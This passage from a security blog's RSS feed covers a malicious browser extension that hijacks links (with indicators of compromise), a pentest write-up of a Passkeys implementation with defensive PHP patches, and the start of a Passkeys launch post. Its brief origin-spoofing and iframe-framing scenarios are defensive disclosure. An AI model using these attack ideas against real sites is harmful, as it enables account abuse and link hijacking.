active installs. The extension package itself contains only innocuous looking code, so after unpacking and analysing the included code, there are no immediate alarm bells. The malicious JS payload lives on <code>amazingrefresh.com</code> and is served to the client dynamically only when certain conditions are met, further limiting the ability to detect the malicious behaviour. The malicious code:</p><p></p><ul><li>Uses session storage to ensure it only runs once per page load </li><li>Suppresses page-leave prompts to hide redirects from the user</li><li>The payload removes itself from the DOM</li><li>Fingerprints the depth of iframes, possibly to avoid analysis</li><li>Suppresses click events so other analytics don&apos;t see them</li><li>Hides the entire page during a redirect</li></ul><p></p><p>On top of all of that, and I think quite interesting, they&apos;re using Google Analytics to monitor their infected user base, firing an event every 60 minutes to keep track of how many infected devices there are!</p><p></p><h3 id="impact-on-website-owners">Impact on website owners</h3><p>We detected this attack because we&apos;re closely monitoring the JavaScript running on our customers&apos; websites, and as I said at the start, we&apos;re typically looking out for traditional XSS attacks or supply chain compromise. The injection of this malicious JavaScript is happening entirely client-side, in the browser of the visitor, but we still have visibility of what&apos;s happening because of how our product works. For many products out there, this would be impossible to detect or monitor.</p><p>From our customers&apos; perspective, outbound links on their site are being silently hijacked and monetised by a third-party, without their knowledge or consent. Visitors are being redirected through affiliate networks, potentially to different destinations than intended. The C&amp;C architecture also means that the payload can be changed at any time to deliver anything from more aggressive adware, credential harvesting, a Magecart credit card skimmer, or just about anything that you could imagine. Whilst this doesn&apos;t represent a compromise of our customers&apos; website, or their supply chain, this still raises genuine concerns that need to be addressed.</p><p></p><h3 id="reporting-the-malicious-extensions">Reporting the malicious extensions</h3><p>This extension is available for both Chrome and Edge, and we have reported it to both browser vendors including evidence of the malicious behaviour. Given that it appears to have almost 100,000 users across both browsers, I hope they can move quickly to remove the extension from the stores and affected devices. This will benefit not only those visitors to our customers&apos; websites, but the wider ecosystem as a whole as we work to remove this malicious behaviour and protect all involved. </p><p>This capability aligns well with our goal of making the web safer for everyone, not just our customers, and is something that we have been working on for over a decade. My first blog post on detecting and blocking client-side compromise like this was in 2015(!), <a href="https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io" rel="noreferrer">Combat ad-injectors with CSP</a>, and in 2017 I followed that up with <a href="https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io" rel="noreferrer">Malware hunting with CSP</a>. Along the way, we have also detected and reported many browser extensions that introduced malicious behaviour, just as we have done here. When we come across more interesting cases like this one, I plan to start writing about them and sharing the details, primarily because I think these cases are genuinely interesting, but also because they help demonstrate some of our lesser-known capabilities at Report URI. </p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>The key indicators are:</p><p>Chrome extension: <a href="https://chromewebstore.google.com/detail/amazing-auto-refresh/lgjmjfjpldlhbaeinfjbgokoakpjglbn?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Edge extension: <a href="https://microsoftedge.microsoft.com/addons/detail/auto-refresh/kjkdocnbigcddlnghfiphgfflkooidhc?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Extension name: <strong>Amazing Refresh</strong><br>Injected script host: <code>amazingrefresh.com</code> (domain registered 19th Feb 2026)<br>C&amp;C server: <code>api.amazingrefresh.com</code><br>Affiliate gateway: <code>advertisingshubb.com</code> (domain registered 3rd Oct 2025)<br>CDN: <code>1752680588.rsc.cdn77.org</code><br>Geo lookup: <code>meetlookup.com</code><br>Injected script element ID: <code>aar_main_script</code> <br>Google Ads Measurement ID: <code>G-11RPB8CJ47</code></p><p></p><p>If you want advanced threat detection and monitoring capabilities like this on your own site, you can head over to&#xA0;<a href="https://report-uri.com/?utm_source=scotthelme.co.uk">https://report-uri.com</a>&#xA0;and start a 30-day free trial. Our&#xA0;<a href="https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk">JavaScript Integrity Monitoring</a>&#xA0;solution shouldn&apos;t take more than 60 seconds to deploy and you can start gathering your first data.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Bringing in the experts; Having our Passkeys implementation Security Tested]]></title>
                <description><![CDATA[<p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer&</p>]]></description>
                <link>https://scotthelme.ghost.io/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/</link>
                <guid isPermaLink="false">69c7c509d57e1400017a6513</guid>
                <category><![CDATA[Report URI]]></category>
                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[Penetration Test]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Thu, 02 Apr 2026 13:06:02 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png" alt="Bringing in the experts; Having our Passkeys implementation Security Tested"><p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer&apos;s accounts, so we brought in an external party to test our implementation.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png" class="kg-image" alt="Bringing in the experts; Having our Passkeys implementation Security Tested" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="our-annual-penetration-tests">Our annual penetration tests</h3><p>Regular readers will know that Report URI already has an annual penetration test and we now have <a href="https://scotthelme.co.uk/tag/penetration-test/?ref=scotthelme.ghost.io" rel="noreferrer">6 years worth of reports</a> publicly available for anyone to review and see what issues were found, and how we handled them. That annual review is there to make sure that our internal processes designed to keep our product secure are working and that nothing has slipped through. Our next penetration test is due in Nov/Dec 2026 to stick with our annual schedule, and whilst our application is constantly changing and evolving, Passkeys felt like a big enough change that it was worth getting it tested immediately as it touched our critical authentication flow. If you&apos;d like a brief introduction to Passkeys and how they work, you can refer to our launch blog post which has some high level details and diagrams.</p><p></p><figure class="kg-card kg-image-card"><a href="https://pentest.co.uk/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/pentest-limited-logo.png" class="kg-image" alt="Bringing in the experts; Having our Passkeys implementation Security Tested" loading="lazy" width="300" height="101"></a></figure><p></p><h3 id="engaging-with-pentest">Engaging with Pentest</h3><p>Normally, when we engage with our penetration testing company, <a href="https://pentest.co.uk/?ref=scotthelme.ghost.io" rel="noreferrer">Pentest Ltd.</a>, we have effectively no limitations on the scope of the test. This time it was a little different as we only wanted one specific part of our application testing and after discussions, we came up with the following scope:</p><p></p><pre><code>Perform a targeted external security assessment of the Report URI Passkey (WebAuthnbased 2FA) implementation.
    With the specific aim of assessing:
    &#x2022; Security of passkey enrolment and authentication flows
    &#x2022; Interaction between passkeys and existing authentication factors (password and
    TOTP)
    &#x2022; Potential authentication bypass and downgrade scenarios
    &#x2022; Protection of credential management functions (add/remove passkey)
    &#x2022; Security of recovery mechanisms (recovery codes and support-led reset process)
    &#x2022; Session handling and authentication state transitions
    &#x2022; Validation of WebAuthn integration controls (challenge handling, RP/origin
    enforcement, replay protections)
    </code></pre><p></p><p>We wanted to be really sure that our implementation was solid, and having someone external come in to test that felt like a worthwhile approach.</p><p></p><h3 id="the-findings">The findings</h3><p>For those who&apos;d like the TLDR; Pentest found a few problems with our implementation, but nothing that could result in unauthorised access. The worst case scenario in any of the findings was that you could add a Passkey to your account that you then couldn&apos;t remove. That&apos;s a pretty awesome result if you ask me &#x1F60E;</p><p>Alongside the findings from Pentest, we also did our own security testing and found a couple of minor bugs that we addressed too, but nothing that you&apos;d ever see on the outside. We&apos;ll start off by going through the Pentest findings and looking at the solutions that we&apos;ve implemented for them.</p><p></p><h4 id="empty-credential-id">Empty Credential ID</h4><p>Each Passkey generated by an Authenticator is given an ID that the Authenticator and the website can use to identify it. The specification says that this Credential ID, as it is known, should be &quot;A probabilistically-unique byte sequence identifying a public key credential source and its authentication assertions&quot;. Being able to set an empty ID value definitely doesn&apos;t meet that requirement, and adding a Passkey with no ID also made it impossible to then delete or rename that Passkey in your account because the ID is what we use to interact with it. </p><p>The W3C WebAuthn Level 3 spec <a href="https://www.w3.org/TR/webauthn-3/?ref=scotthelme.ghost.io#credential-id" rel="noreferrer">defines</a> credential ID length constraints, and whilst the spec is not final yet, we decided to target the new version rather than Level 2. </p><p></p><pre><code class="language-php">$credentialIdLen = strlen($data-&gt;credentialId);
    if ($credentialIdLen &lt; 16 || $credentialIdLen &gt; 1023) {
        $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);
        $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);
        return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;Invalid credential ID length.&quot;}&apos;;
    }</code></pre><p></p><p>With the length checks in place and further testing completed, this issue is now fully resolved and I&apos;m glad to say it didn&apos;t post any security risk.</p><p></p><h4 id="overlong-credential-id">Overlong Credential ID</h4><p>Whilst this issue is resolved by the fix above, there was one additional thing worth clarifying here that was specific to this finding. Without the upper bound on the Credential ID, you could register a Passkey with a huge ID value. The tester noted that if you were to do this, depending on the size of the ID value, you could get to a point where you couldn&apos;t register any more Passkeys, despite not having registered the maximum allowed amount of Passkeys. This behaviour was caused by our size limit on the amount of data allowed to be stored in a Property on a Table Storage Entity (we use Microsoft Azure Storage). Adding a new Passkey would have taken the Property over the allowed limit so our handling code did the right thing and rejected the change, failing the Passkey registration. The worst case scenario here is that if you registered a Passkey with a huge Credential ID, you may only be able to register a single Passkey on your account. This issue is resolved by the fix detailed above which also introduced an upper size limit and posed no security risk.</p><p></p><h4 id="duplicate-credential-id">Duplicate Credential ID</h4><p>Going back to the first issue, the spec states that a Credential ID should be &quot;A probabilistically-unique byte sequence&quot;, so allowing registration of duplicate IDs would not meet that requirement. There are also two separate concerns here, so we&apos;ll break them apart. </p><p>The first is that the user could register a Passkey on their account with the same Credential ID as another Passkey already registered on their account. The tester noted that this did not result in overwriting Passkeys (as we index on another value) but it did then leave them with two Passkeys registered with the same Credential ID. We already make use of the <code>excludeCredentials</code> feature, where our service provides back the IDs of the user&apos;s existing Credential IDs and the Authenticator can then avoid using duplicates. Of course, the authenticator may not do that, so an additional check is required on the way back in.</p><p></p><pre><code class="language-php">foreach ($passkeys as $passkey) {
        if ($passkey[&apos;id&apos;] === $credentialIdB64) {
    	    $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;This passkey is already registered.&quot;}&apos;;
        }
    }</code></pre><p></p><p>The second issue is that a user could register a Passkey with the same Credential ID as a Passkey that another user has registered. Because we&apos;re only using Passkeys as a form of 2FA, by the time we get to looking up a Credential ID, we&apos;re only looking at those bound to the correct user. The Credential IDs should also be &quot;probabilistically-unique&quot; so this is unlikely to ever happen by accident. The spec says that we SHOULD prevent this, not that we MUST, but querying over our entire user table and extracting Credential IDs adds a lot of overhead we&apos;d like to avoid. Reading the spec, I also feel that the concerns raised are more defensive techniques for if your application does things a bit wonky rather than being an actual problem, but drop your comments below if I&apos;m missing something. </p><p>As it stands, we haven&apos;t required that a Credential ID be globally unique across the service, but I&apos;m open to input, and happy to say that this issue also posed no security risk.</p><p></p><h4 id="origin-mismatch">Origin Mismatch</h4><p>This one is another bug that doesn&apos;t have an impact, but it still shouldn&apos;t be able to happen. The bug itself resides in the library we&apos;re using for Passkeys and we have up-streamed a fix which is the same as the patch that we&apos;re applying locally. </p><p></p><pre><code class="language-php">--- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -636,9 +636,12 @@
             $host = \parse_url($origin, PHP_URL_HOST);
             $host = \trim($host, &apos;.&apos;);
    
    -        // The RP ID must be equal to the origin&apos;s effective domain, or a registrable
    -        // domain suffix of the origin&apos;s effective domain.
    -        return \preg_match(&apos;/&apos; . \preg_quote($this-&gt;_rpId) . &apos;$/i&apos;, $host) === 1;
    +        // The RP ID must be equal to the origin&apos;s effective domain, or the
    +        // origin&apos;s host must be a subdomain of the RP ID (i.e. preceded by a dot).
    +        if (\strcasecmp($host, $this-&gt;_rpId) === 0) {
    +            return true;
    +        }
    +        return \str_ends_with(\strtolower($host), &apos;.&apos; . \strtolower($this-&gt;_rpId));
         }
    
         /**</code></pre><p></p><p>The bug is that we&apos;re setting our <code>rpId</code> as <code>report-uri.com</code> and the library is checking that the host <em>ends with</em> <code>report-uri.com</code>, which is not a strict enough check. The issue with that is <code>not-report-uri.com</code> and <code>evil-report-uri.com</code> both <em>end with</em> <code>report-uri.com</code>. The check has been made more strict so that we&apos;re now looking first for an exact match to <code>report-uri.com</code>, or, we&apos;re checking that the host ends with <code>.report-uri.com</code>, having introduced the domain boundary <code>.</code> to make the check appropriate.</p><p>I&apos;ve done some pretty lengthy mental gymnastics to try and come up with a scenario where this might be exploitable, but I&apos;m struggling! Maybe if someone registered <code>not-report-uri.com</code> and lured a Report URI user there, managed to get the user to initiate a Passkey registration, and we had no CSRF protection on our registration endpoint, and we had no CORS protection on our registration endpoint, then maybe I can see a way for this to be used in an attack... In reality, I&apos;m happy to say that this has no security risk and it has been fixed as a matter of correctness rather than security.</p><p></p><h4 id="cross-origin-validation-failure">Cross-Origin Validation Failure</h4><p>Given the existing controls we have in place, this is a non-issue, but even without those existing controls, this is more of a spec compliance question than a risk. Imagine <code>evil-cyber-hacker.com</code> embeds <code>report-uri.com</code> in an iframe, the user could interact with that iframe and even register a Passkey on their account. In this scenario, the browser will pass <code>crossOrigin: true</code> in the <code>ClientDataJSON</code> to indicate that the registration was initiated inside a cross-origin iframe. Whilst this might sound like something really bad could happen, the Same-Origin Policy is going to give us all of the protection we need here. The attacker page can&apos;t read in to the iframe, it can&apos;t access any of the Passkey data and it can&apos;t conduct any actions on behalf of the user. It is true that if <code>crossOrigin: true</code> is set and you weren&apos;t expecting that, you should reject the process, so we&apos;ve patched to do just that and also up-streamed the change to the library to see if they&apos;d consider a patch there.</p><p></p><pre><code class="language-php">--- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -358,6 +358,11 @@
                 throw new WebAuthnException(&apos;invalid origin&apos;, WebAuthnException::INVALID_ORIGIN);
             }
    
    +        // Reject cross-origin requests (proposed Level 3 spec &#xA7;7.1 Step 10).
    +        if (\property_exists($clientData, &apos;crossOrigin&apos;) &amp;&amp; $clientData-&gt;crossOrigin === true) {
    +            throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
    +        }
    +
             // Attestation
             $attestationObject = new Attestation\AttestationObject($attestationObject, $this-&gt;_formats);
    
    @@ -476,6 +481,11 @@
                 throw new WebAuthnException(&apos;invalid origin&apos;, WebAuthnException::INVALID_ORIGIN);
             }
    
    +        // Reject cross-origin requests (proposed Level 3 spec &#xA7;7.2 Step 13).
    +        if (\property_exists($clientData, &apos;crossOrigin&apos;) &amp;&amp; $clientData-&gt;crossOrigin === true) {
    +            throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
    +        }
    +
             // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.
             if ($authenticatorObj-&gt;getRpIdHash() !== $this-&gt;_rpIdHash) {
                 throw new WebAuthnException(&apos;invalid rpId hash&apos;, WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><h4 id="user-handle-not-validated">User Handle Not Validated</h4><p>The <code>userHandle</code> in Passkeys is the internal user ID that the application can use to uniquely identify the user. This can be used when the user is trying to login without having provided a username or email first, so the application can find the user using this ID. We do have a unique <code>userId</code> value that we use to identify all users on the Report URI platform, and we were setting it in the Passkeys flow, but we didn&apos;t need to rely on it for anything. As our users will complete the email/password authentication step first, any Credential ID we were provided with could already be directly looked up on the correct <code>userId</code>. That said, the spec requires that if the authenticator provides a <code>userHandle</code> then the application must verify it, and we weren&apos;t verifying it because we didn&apos;t use it all. </p><p></p><pre><code class="language-php">$userHandleRaw = $postJson[&apos;userHandle&apos;] ?? &apos;&apos;;
    if ($userHandleRaw !== &apos;&apos;) {
        $userHandle = base64_decode($userHandleRaw, true);
        if ($userHandle === false || $userHandle === &apos;&apos;) {
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;User handle mismatch&quot;}&apos;;
        }
        $expectedUserHandle = hash(&apos;sha256&apos;, $this-&gt;userEntity-&gt;getUserId($userEntity), true);
        if (!hash_equals($expectedUserHandle, $userHandle)) {
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;User handle mismatch&quot;}&apos;;
        }
    }</code></pre><p></p><p>Now, if the <code>userHandle</code> value is set, we will verify that it is the correct one, and it&apos;s another issue chalked up with no security risk.</p><p></p><h4 id="invalid-attestation-statement">Invalid Attestation Statement</h4><p>In Passkeys, the phrase Attestation is referring to some kind of proof about what Authenticator device is being used. A company might use Attestation to limit staff to only be able to use a certain type or brand of Authenticator, like a YubiKey, for example. We have no such restrictions on what type of Authenticator can be used and permit the use of any Authenticator, including password managers. This means that we use <code>none</code> as our Attestation format and don&apos;t expect the client to send us any Attestation statements. What the spec strictly requires though is that we check that nothing was sent, and reject the process if something was sent. This required another patch to our library which just disregarded the Attestation Statement <code>attStmt</code> altogether, even if it had a value, because we do not use it for anything.</p><p></p><pre><code class="language-php">--- a/src/Attestation/Format/None.php
    +++ b/src/Attestation/Format/None.php
    @@ -24,7 +24,14 @@
         /**
          * @param string $clientDataHash
          */
         public function validateAttestation($clientDataHash) {
    +        // &#xA7;8.7 None Attestation Statement Format:
    +        // &quot;If attStmt is a properly formed attestation statement,
    +        //  verify that attStmt is an empty CBOR map.&quot;
    +        if (\count($this-&gt;_attestationObject[&apos;attStmt&apos;]) &gt; 0) {
    +            throw new WebAuthnException(&apos;invalid none attestation: attStmt must be empty&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             return true;
         }
    </code></pre><p></p><p>With this patch, the library will now check that the <code>attStmt</code> is empty when the Attestation Format is <code>none</code>, which brings us in to alignment with the spec with no security risk.</p><p></p><h4 id="invalid-backup-flags">Invalid Backup Flags</h4><p>When a user is registering or using a Passkey, the Authenticator can tell us two things about how it handles backups of the Passkey. It can tell us:</p><p></p><ol><li>Backup Eligibility -  set if the credential is a multi-device credential, meaning it&apos;s designed to be synced across devices (e.g. an iCloud Keychain, Google Password Manager, 1Password, etc...)</li><li>Backup State - set if the credential is currently backed up, i.e. it has actually been synced to the cloud at the time of the ceremony.</li></ol><p></p><p>Looking at those two potential flags that can be set, you can then derive a set of valid states based on the relationship between them.</p><p></p><table>
    <thead>
    <tr>
    <th>BE</th>
    <th>BS</th>
    <th>Meaning</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>0</td>
    <td>0</td>
    <td>Not backup eligible, not backed up</td>
    </tr>
    <tr>
    <td>1</td>
    <td>0</td>
    <td>Backup eligible, not yet backed up</td>
    </tr>
    <tr>
    <td>1</td>
    <td>1</td>
    <td>Backup eligible, currently backed up</td>
    </tr>
    <tr>
    <td>0</td>
    <td>1</td>
    <td><strong>Invalid</strong> &#x2014; cannot be backed up without being eligible</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>The final row in that table indicates an invalid state because a Passkey can&apos;t have been backed up if the Passkey is not eligible to be backed up. The current specification does not require that we reject this, but the future version of the spec does. We will now check for this invalid state and have up-streamed a patch to the library.</p><p></p><pre><code class="language-php">diff --git a/src/Attestation/AuthenticatorData.php b/src/Attestation/AuthenticatorData.php
    index 83462b1..a73d195 100644
    --- a/src/Attestation/AuthenticatorData.php
    +++ b/src/Attestation/AuthenticatorData.php
    @@ -281,6 +281,12 @@ class AuthenticatorData {
             $flags-&gt;isBackup = $flags-&gt;bit_4;
             $flags-&gt;attestedDataIncluded = $flags-&gt;bit_6;
             $flags-&gt;extensionDataIncluded = $flags-&gt;bit_7;
    +
    +        // Backup State (BS) requires Backup Eligible (BE) per spec.
    +        if ($flags-&gt;isBackup &amp;&amp; !$flags-&gt;isBackupEligible) {
    +            throw new WebAuthnException(&apos;invalid backup flags: BS without BE&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             return $flags;
         }
     </code></pre><p></p><p>This issue also present no security risk and is now resolved.</p><p></p><h4 id="token-binding-accepted">Token Binding Accepted</h4><p><a href="https://en.wikipedia.org/wiki/Token_Binding?ref=scotthelme.ghost.io" rel="noreferrer">Token Binding</a> is a fairly old technology that is now deprecated, Chrome <a href="https://issues.chromium.org/issues/40589745?ref=scotthelme.ghost.io" rel="noreferrer">removed their code</a> for it in 2018. A client can indicate it was using Token Binding in a Passkey ceremony by setting the <code>tokenBinding.status</code> value to <code>present</code>. Given that our application does not support Token Binding, and most other applications probably don&apos;t either, along with clients having deprecated it, this shouldn&apos;t really be possible. Our application would allow a client to indicate it was using Token Binding, even though it can&apos;t, and we would ignore these values as we don&apos;t use it. The spec does not allow you to ignore these values, so we had to handle them. We&apos;re now correctly validating these fields if they are present and we have up-streamed a patch.</p><p></p><pre><code class="language-php">diff --git a/src/WebAuthn.php b/src/WebAuthn.php
    index d6b78e7..f81882f 100644
    --- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -362,6 +362,12 @@ class WebAuthn {
                 throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
             }
     
    +        // 6. Verify tokenBinding status matches the TLS connection. We do not
    +        //    support Token Binding, so reject status &quot;present&quot; (Level 2 &#xA7;7.1 Step 6).
    +        if (\property_exists($clientData, &apos;tokenBinding&apos;) &amp;&amp; \is_object($clientData-&gt;tokenBinding) &amp;&amp; \property_exists($clientData-&gt;tokenBinding, &apos;status&apos;) &amp;&amp; $clientData-&gt;tokenBinding-&gt;status === &apos;present&apos;) {
    +            throw new WebAuthnException(&apos;token binding not supported&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             // Attestation
             $attestationObject = new Attestation\AttestationObject($attestationObject, $this-&gt;_formats);
     
    @@ -485,6 +491,12 @@ class WebAuthn {
                 throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
             }
     
    +        // 10. Verify tokenBinding status matches the TLS connection. We do not
    +        //     support Token Binding, so reject status &quot;present&quot; (Level 2 &#xA7;7.2 Step 10).
    +        if (\property_exists($clientData, &apos;tokenBinding&apos;) &amp;&amp; \is_object($clientData-&gt;tokenBinding) &amp;&amp; \property_exists($clientData-&gt;tokenBinding, &apos;status&apos;) &amp;&amp; $clientData-&gt;tokenBinding-&gt;status === &apos;present&apos;) {
    +            throw new WebAuthnException(&apos;token binding not supported&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.
             if ($authenticatorObj-&gt;getRpIdHash() !== $this-&gt;_rpIdHash) {
                 throw new WebAuthnException(&apos;invalid rpId hash&apos;, WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><p>This was the last of the issues found in the penetration test and I&apos;m happy to say that this one also presented no security risk and is resolved.</p><p></p><h4 id="were-good-to-go">We&apos;re good to go! </h4><p>When making such a big change to how users log in to our service, it makes me feel a lot more comfortable that we&apos;ve had it thoroughly reviewed by an external party. Whilst there were some issues found here, I&apos;m happy that none of them presented any real risk to our customers, and they&apos;ve all been fixed anyway. As always, we&apos;ve published the full report for our penetration test below so you can take a look at the unredacted findings!</p><p><a href="https://cdn.report-uri.com/pdf/Report%20URI%20-%202026%20Passkeys%20Penetration%20Test%20Report.pdf?ref=scotthelme.ghost.io" rel="noreferrer">Download Full Report</a></p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js" integrity="sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup-templating.min.js" integrity="sha512-+8BiRfWso6waiFDv6tEmWF8yfPGgxAtOYLDUB0rRISLwtpxkJ9lpPNUhxwWlikn3qSO+4RQyzDppi62o3ON/AA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-php.min.js" integrity="sha512-plzrTi61ltEMFf84gTVO9IkvIMfBu07bnDuahvdlIclmFWzXJ9VcRsny9d45sxFZRv3jJg/MHNyuxnUYEMxMEg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <!--kg-card-end: html-->
    ]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Launching Passkeys support on Report URI! 🗝️]]></title>
                <description><![CDATA[<p>As we&apos;re always wanting to keep ahead in the security game, I&apos;m happy to announce that we now support Passkeys on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>! Let&apos;s take a quick look at what Passkeys are, why you should use them, and how we&apos;ve implemented them.</p>]]></description>
                <link>https://scotthelme.ghost.io/launching-passkeys-support-on-report-uri/</link>
                <guid isPermaLink="false">69b2e9d974ea740001185409</guid>
                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[Report URI]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 30 Mar 2026 10:10:05 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg" alt="Launching Passkeys support on Report URI! &#x1F5DD;&#xFE0F;"><p>As we&apos;re always wanting to keep ahead in the security game, I&apos;m happy to announce that we now support Passkeys on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>! Let&apos;s take a quick look at what Passkeys are, why you should use them, and how we&apos;ve implemented them.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png" class="kg-image" alt="Launching Passkeys support on Report URI! &#x1F5DD;&#xFE0F;" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="passkeys-solve-a-big-problem">Passkeys solve a big problem</h4><p>Let&apos;s kick things off by stating the biggest benefit of Passkeys which is that they are <strong><em>phishing-resistant</em></strong>! That&apos;s right, if you&apos;re using Passkeys to protect your account, you no longer have to worry about falling victim to a phishing attack. This was the primary driver for us to add support at Report URI, to provide our customers with a strong authentication mechanism that will give them confidence they are protected against the pervasive threat of phishing attacks. On top of this tremendous benefit, I feel that they&apos;re also much more convenient to use too! </p><p></p><h4 id="how-do-passkeys-work">How do Passkeys work?</h4><p>Instead of relying on a secret piece of information like a password, Passkeys work by relying on cryptography and are surprisingly simple under the hood. Your device will create a cryptographic key pair that will be used for authentication when you need to login to the website. The registration process for a Passkey looks like this:</p><p></p><pre><code>
     User               Browser / OS              Website / Server            
     |                      |                           |
     | 1. &quot;Create Passkey&quot;  |                           |
     |---------------------&gt;|                           |
